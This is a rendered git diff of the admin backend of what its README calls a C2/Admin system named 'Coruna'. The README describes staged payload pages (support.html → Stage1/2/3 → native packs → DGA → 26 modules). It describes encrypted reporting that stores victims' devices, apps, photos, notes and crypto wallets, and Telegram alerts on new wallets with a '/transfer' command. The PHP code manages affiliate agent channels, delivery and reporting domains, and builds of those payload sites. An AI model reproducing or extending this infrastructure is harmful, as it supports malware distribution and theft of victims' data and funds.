本仓库只保存渠道元数据;静态产物由 `coruna-lab-web` 同步构建:
|
||||
|
||||
```dotenv
|
||||
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
|
||||
CORUNA_BUILD_SERVICE_TOKEN=replace-me
|
||||
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
|
||||
CORUNA_BUILD_SERVICE_TIMEOUT=600
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
|
||||
CORUNA_LAB_AMIDN_DOMAINS=www.rep1.example,www.rep2.example
|
||||
CORUNA_STATIC_SITE_BASE_URL=https://static.example
|
||||
```
|
||||
|
||||
创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_LAB_AMIDN_DOMAINS`。
|
||||
|
||||
构建:`POST /v1/channels/{id}/build`
|
||||
删除:`DELETE /v1/channels/{id}`
|
||||
|
||||
后台展示入口:
|
||||
|
||||
```text
|
||||
https://<host>/web/<channel-id>/support.html
|
||||
https://<host>/sync/daily.html
|
||||
https://<host>/channel/<channel-id>/web/support.html
|
||||
https://<host>/channel/<channel-id>/sync/daily.html
|
||||
```
|
||||
|
||||
## 文档
|
||||
构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。
|
||||
|
||||
| 文档 | 内容 |
|
||||
|------|------|
|
||||
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
|
||||
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
|
||||
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
|
||||
| [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 |
|
||||
## C2 / Admin 说明
|
||||
|
||||
## 链路(极简)
|
||||
- Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z
|
||||
- 入库:devices / apps / photos / notes / wallets + `c2_raw_logs`
|
||||
- Telegram:新设备、新/变更钱包;`/transfer` 指令
|
||||
|
||||
```text
|
||||
support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 (.min.js)
|
||||
→ Deployment DGA → /sync/daily.html → 26 模块
|
||||
```bash
|
||||
php artisan test
|
||||
```
|
||||
|
||||
## 其它
|
||||
## 注意
|
||||
|
||||
- 来源索引:`MANIFEST.json`(历史 provenance;运行时不读)
|
||||
- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
|
||||
- 工具细节见 [`tools/README.md`](tools/README.md)
|
||||
- 本仓库不再包含 `frontend/` 或本地 Python 构建脚本
|
||||
- 迁移期可保留旧 `public/web`、`public/sync` 只读;新渠道只发到 `coruna-lab-web` 静态站
|
||||
|
||||
+74
-10
@@ -7,8 +7,10 @@ use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\ChannelProjectService;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
|
||||
@@ -64,11 +66,15 @@ class ChannelController extends Controller
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (Channel $c) {
|
||||
$domains = Channel::normalizeDomainList($c->domains);
|
||||
|
||||
return [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'domains' => $domains,
|
||||
'domains_text' => implode("\n", $domains),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'links' => $c->supportLinks(),
|
||||
@@ -101,6 +107,7 @@ class ChannelController extends Controller
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'domains' => ['nullable', 'string', 'max:4000'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
@@ -110,24 +117,39 @@ class ChannelController extends Controller
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$domains = SettingsService::parseDomains($data['domains'] ?? null);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $projects) {
|
||||
$channel = Channel::query()->create([
|
||||
$projects->generate($data['channel_id'], $domains);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '渠道资源生成失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $domains) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
// The user row lock serializes quota checks for this agent.
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
}
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'domains' => $domains,
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
|
||||
$projects->generate($channel->channel_id);
|
||||
|
||||
return $channel;
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$projects->deleteWebTree($data['channel_id']);
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id']);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -163,6 +185,7 @@ class ChannelController extends Controller
|
||||
} else {
|
||||
$data = $request->validate([
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'domains' => ['nullable', 'string', 'max:4000'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
@@ -176,6 +199,9 @@ class ChannelController extends Controller
|
||||
}
|
||||
$channel->user_id = $userId;
|
||||
}
|
||||
if (array_key_exists('domains', $data)) {
|
||||
$channel->domains = SettingsService::parseDomains($data['domains']);
|
||||
}
|
||||
if (array_key_exists('remark', $data)) {
|
||||
$channel->remark = $data['remark'];
|
||||
}
|
||||
@@ -199,8 +225,17 @@ class ChannelController extends Controller
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
$channelId = $channel->channel_id;
|
||||
$channel->delete();
|
||||
$projects->deleteWebTree($channelId);
|
||||
try {
|
||||
// Delete remotely first: a failed remote delete leaves the DB row available
|
||||
// for a safe retry instead of orphaning an unreachable static project.
|
||||
$projects->deleteWebTree($channelId);
|
||||
DB::transaction(static fn () => $channel->delete());
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '删除失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
@@ -229,4 +264,33 @@ class ChannelController extends Controller
|
||||
abort_unless((int) $channel->user_id === (int) $agent->id, 403);
|
||||
}
|
||||
}
|
||||
|
||||
private function compensateBuildUnlessChannelExists(
|
||||
ChannelProjectService $projects,
|
||||
string $channelId
|
||||
): void {
|
||||
try {
|
||||
// A concurrent request may have won the unique channel_id insert. Its
|
||||
// project must not be removed by this request's compensation.
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
return;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('Skipped channel build compensation because DB state is unknown', [
|
||||
'channel_id' => $channelId,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$projects->deleteWebTree($channelId);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('Failed to compensate channel build', [
|
||||
'channel_id' => $channelId,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -47,16 +47,40 @@ class Channel extends Model
|
||||
}
|
||||
|
||||
/**
|
||||
* Domains for support-link display and builder deployment_domains.
|
||||
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function resolvedDomains(): array
|
||||
{
|
||||
// Domains come from env only (CORUNA_CHANNEL_DOMAINS).
|
||||
$domains = config('coruna.channel_domains', []);
|
||||
$stored = $this->normalizeDomainList($this->domains);
|
||||
if ($stored !== []) {
|
||||
return $stored;
|
||||
}
|
||||
|
||||
return array_values(array_filter(array_map(static function ($d) {
|
||||
return is_string($d) ? trim($d) : '';
|
||||
}, is_array($domains) ? $domains : [])));
|
||||
return $this->normalizeDomainList(config('coruna.channel_domains', []));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $domains
|
||||
* @return list<string>
|
||||
*/
|
||||
public static function normalizeDomainList(mixed $domains): array
|
||||
{
|
||||
if (! is_array($domains)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return array_values(array_unique(array_filter(array_map(static function ($d) {
|
||||
if (! is_string($d)) {
|
||||
return '';
|
||||
}
|
||||
$d = trim($d);
|
||||
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
|
||||
|
||||
return rtrim($d, '/');
|
||||
}, $domains))));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -65,15 +89,25 @@ class Channel extends Model
|
||||
public function supportLinks(): array
|
||||
{
|
||||
$links = [];
|
||||
foreach ($this->resolvedDomains() as $domain) {
|
||||
$host = preg_replace('#^https?://#i', '', rtrim($domain, '/'));
|
||||
if ($host === '') {
|
||||
continue;
|
||||
}
|
||||
$links[] = 'https://'.$host.'/web/'.$this->channel_id.'/support.html';
|
||||
$path = '/channel/'.$this->channel_id.'/web/support.html';
|
||||
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
|
||||
if ($baseUrl !== '') {
|
||||
$links[] = $baseUrl.$path;
|
||||
}
|
||||
|
||||
return $links;
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
foreach ($this->resolvedDomains() as $domain) {
|
||||
$origin = rtrim($domain, '/');
|
||||
if ($origin === '') {
|
||||
continue;
|
||||
}
|
||||
if (! preg_match('#^https?://#i', $origin)) {
|
||||
$origin = $scheme.'://'.$origin;
|
||||
}
|
||||
$links[] = $origin.$path;
|
||||
}
|
||||
|
||||
return array_values(array_unique($links));
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
@@ -0,0 +1,148 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Http\Client\ConnectionException;
|
||||
use Illuminate\Http\Client\Response;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use RuntimeException;
|
||||
|
||||
class ChannelProjectService
|
||||
{
|
||||
/**
|
||||
* Ask the standalone builder to materialize a channel project.
|
||||
*
|
||||
* @param list<string>|null $deploymentDomains Channel-configured hosts; empty → CORUNA_LAB_CHANNEL_DOMAINS
|
||||
*/
|
||||
public function generate(string $channelId, ?array $deploymentDomains = null): void
|
||||
{
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
$deploymentDomains = $this->normalizeDomains($deploymentDomains)
|
||||
?: $this->domains('coruna.deployment_domains');
|
||||
$reportingDomains = $this->domains('coruna.reporting_domains');
|
||||
|
||||
if ($deploymentDomains === []) {
|
||||
throw new RuntimeException('投放域名未配置(CORUNA_LAB_CHANNEL_DOMAINS 或渠道 domains)');
|
||||
}
|
||||
if ($reportingDomains === []) {
|
||||
throw new RuntimeException('上报域名未配置(CORUNA_LAB_AMIDN_DOMAINS)');
|
||||
}
|
||||
|
||||
$response = $this->request('post', $channelId, [
|
||||
'deployment_domains' => $deploymentDomains,
|
||||
'reporting_domains' => $reportingDomains,
|
||||
]);
|
||||
|
||||
$this->ensureSuccessful($response, '生成渠道资源失败');
|
||||
}
|
||||
|
||||
public function deleteWebTree(string $channelId): void
|
||||
{
|
||||
try {
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
} catch (RuntimeException) {
|
||||
return;
|
||||
}
|
||||
|
||||
$response = $this->request('delete', $channelId);
|
||||
if ($response->status() === 404) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->ensureSuccessful($response, '删除渠道资源失败');
|
||||
}
|
||||
|
||||
private function request(string $method, string $channelId, array $payload = []): Response
|
||||
{
|
||||
$url = rtrim((string) config('coruna.build_service.url', ''), '/');
|
||||
$token = trim((string) config('coruna.build_service.token', ''));
|
||||
if ($url === '') {
|
||||
throw new RuntimeException('渠道构建服务 URL 未配置');
|
||||
}
|
||||
if ($token === '') {
|
||||
throw new RuntimeException('渠道构建服务令牌未配置');
|
||||
}
|
||||
|
||||
$method = strtoupper($method);
|
||||
$path = $method === 'POST'
|
||||
? '/v1/channels/'.$channelId.'/build'
|
||||
: '/v1/channels/'.$channelId;
|
||||
|
||||
try {
|
||||
$pending = Http::baseUrl($url)
|
||||
->withToken($token)
|
||||
->acceptJson()
|
||||
->connectTimeout((float) config('coruna.build_service.connect_timeout', 5))
|
||||
->timeout((float) config('coruna.build_service.timeout', 600));
|
||||
|
||||
if ($method === 'POST') {
|
||||
return $pending->asJson()->post($path, $payload);
|
||||
}
|
||||
|
||||
return $pending->send($method, $path);
|
||||
} catch (ConnectionException $e) {
|
||||
Log::error('Channel build service connection failed', [
|
||||
'channel_id' => $channelId,
|
||||
'operation' => $method,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
throw new RuntimeException('渠道构建服务连接失败: '.$e->getMessage(), 0, $e);
|
||||
}
|
||||
}
|
||||
|
||||
private function ensureSuccessful(Response $response, string $message): void
|
||||
{
|
||||
if ($response->successful()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$detail = $response->json('message');
|
||||
$detail = is_string($detail) && trim($detail) !== ''
|
||||
? trim($detail)
|
||||
: trim($response->body());
|
||||
$detail = mb_substr($detail !== '' ? $detail : 'unknown error', 0, 500);
|
||||
|
||||
Log::error('Channel build service request failed', [
|
||||
'status' => $response->status(),
|
||||
'detail' => $detail,
|
||||
]);
|
||||
|
||||
throw new RuntimeException("{$message} ({$response->status()}): {$detail}");
|
||||
}
|
||||
|
||||
private function normalizeChannelId(string $channelId): string
|
||||
{
|
||||
$channelId = strtolower(trim($channelId));
|
||||
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
|
||||
throw new RuntimeException('Invalid channel id');
|
||||
}
|
||||
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function domains(string $key): array
|
||||
{
|
||||
return $this->normalizeDomains(config($key, []));
|
||||
}
|
||||
|
||||
/** @return list<string> */
|
||||
private function normalizeDomains(mixed $domains): array
|
||||
{
|
||||
if (! is_array($domains)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return array_values(array_unique(array_filter(array_map(static function ($domain) {
|
||||
if (! is_string($domain)) {
|
||||
return '';
|
||||
}
|
||||
$domain = trim($domain);
|
||||
$domain = preg_replace('#^https?://#i', '', $domain) ?? $domain;
|
||||
|
||||
return rtrim($domain, '/');
|
||||
}, $domains))));
|
||||
}
|
||||
}
|
||||
@@ -82,7 +82,12 @@ class SettingsService
|
||||
}
|
||||
|
||||
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
|
||||
config(['coruna.channel_domains' => self::parseDomains($map['channels.domains'])]);
|
||||
$domains = self::parseDomains($map['channels.domains']);
|
||||
// Settings override channel/deployment hosts only; reporting stays CORUNA_LAB_AMIDN_DOMAINS.
|
||||
config([
|
||||
'coruna.channel_domains' => $domains,
|
||||
'coruna.deployment_domains' => $domains,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +1,39 @@
|
||||
<?php
|
||||
|
||||
$parseDomains = static fn (string $value): array => array_values(array_filter(array_map(
|
||||
'trim',
|
||||
preg_split('/[\s,;]+/', $value) ?: []
|
||||
)));
|
||||
// Channel / deployment hosts (link display fallback + builder deployment_domains).
|
||||
$channelDomains = $parseDomains((string) env(
|
||||
'CORUNA_LAB_CHANNEL_DOMAINS',
|
||||
env('CORUNA_DEPLOYMENT_DOMAINS', env('CORUNA_CHANNEL_DOMAINS', ''))
|
||||
));
|
||||
// Reporting hosts passed to lab-web as reporting_domains.
|
||||
$adminDomains = $parseDomains((string) env(
|
||||
'CORUNA_LAB_AMIDN_DOMAINS',
|
||||
env('CORUNA_REPORTING_DOMAINS', '')
|
||||
));
|
||||
|
||||
return [
|
||||
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
|
||||
// Comma-separated delivery hosts for support links + new_project domains.
|
||||
'channel_domains' => array_values(array_filter(array_map(
|
||||
'trim',
|
||||
explode(',', (string) env('CORUNA_CHANNEL_DOMAINS', ''))
|
||||
))),
|
||||
// channel_domains / deployment_domains: CORUNA_LAB_CHANNEL_DOMAINS (+ legacy aliases).
|
||||
'channel_domains' => $channelDomains,
|
||||
'deployment_domains' => $channelDomains,
|
||||
// reporting_domains: CORUNA_LAB_AMIDN_DOMAINS (+ legacy CORUNA_REPORTING_DOMAINS).
|
||||
'reporting_domains' => $adminDomains,
|
||||
'static_site' => [
|
||||
// Optional complete origin/base path prepended before /channel/{id}/web/support.html.
|
||||
'base_url' => rtrim((string) env('CORUNA_STATIC_SITE_BASE_URL', ''), '/'),
|
||||
'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'),
|
||||
],
|
||||
'build_service' => [
|
||||
// HTTP host for coruna-lab-web build API (create/delete channel assets).
|
||||
'url' => rtrim((string) env('CORUNA_BUILD_SERVICE_URL', env('CORUNA_LAB_WEB_URL', '')), '/'),
|
||||
'token' => env('CORUNA_BUILD_SERVICE_TOKEN', env('CORUNA_LAB_WEB_TOKEN', '')),
|
||||
'connect_timeout' => (float) env('CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT', 5),
|
||||
'timeout' => (float) env('CORUNA_BUILD_SERVICE_TIMEOUT', 600),
|
||||
],
|
||||
'channels' => [
|
||||
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
|
||||
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
|
||||
@@ -15,9 +42,6 @@ return [
|
||||
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
|
||||
// system paths with is_executable() under open_basedir (see CorunaArchive).
|
||||
'seven_zip' => env('CORUNA_7Z_BIN', ''),
|
||||
// Channel pack builder (outside server/ — do not is_file() under tight open_basedir).
|
||||
'new_project_py' => env('CORUNA_NEW_PROJECT_PY', ''),
|
||||
'python_bin' => env('CORUNA_PYTHON_BIN', 'python3'),
|
||||
'telegram' => [
|
||||
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
|
||||
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user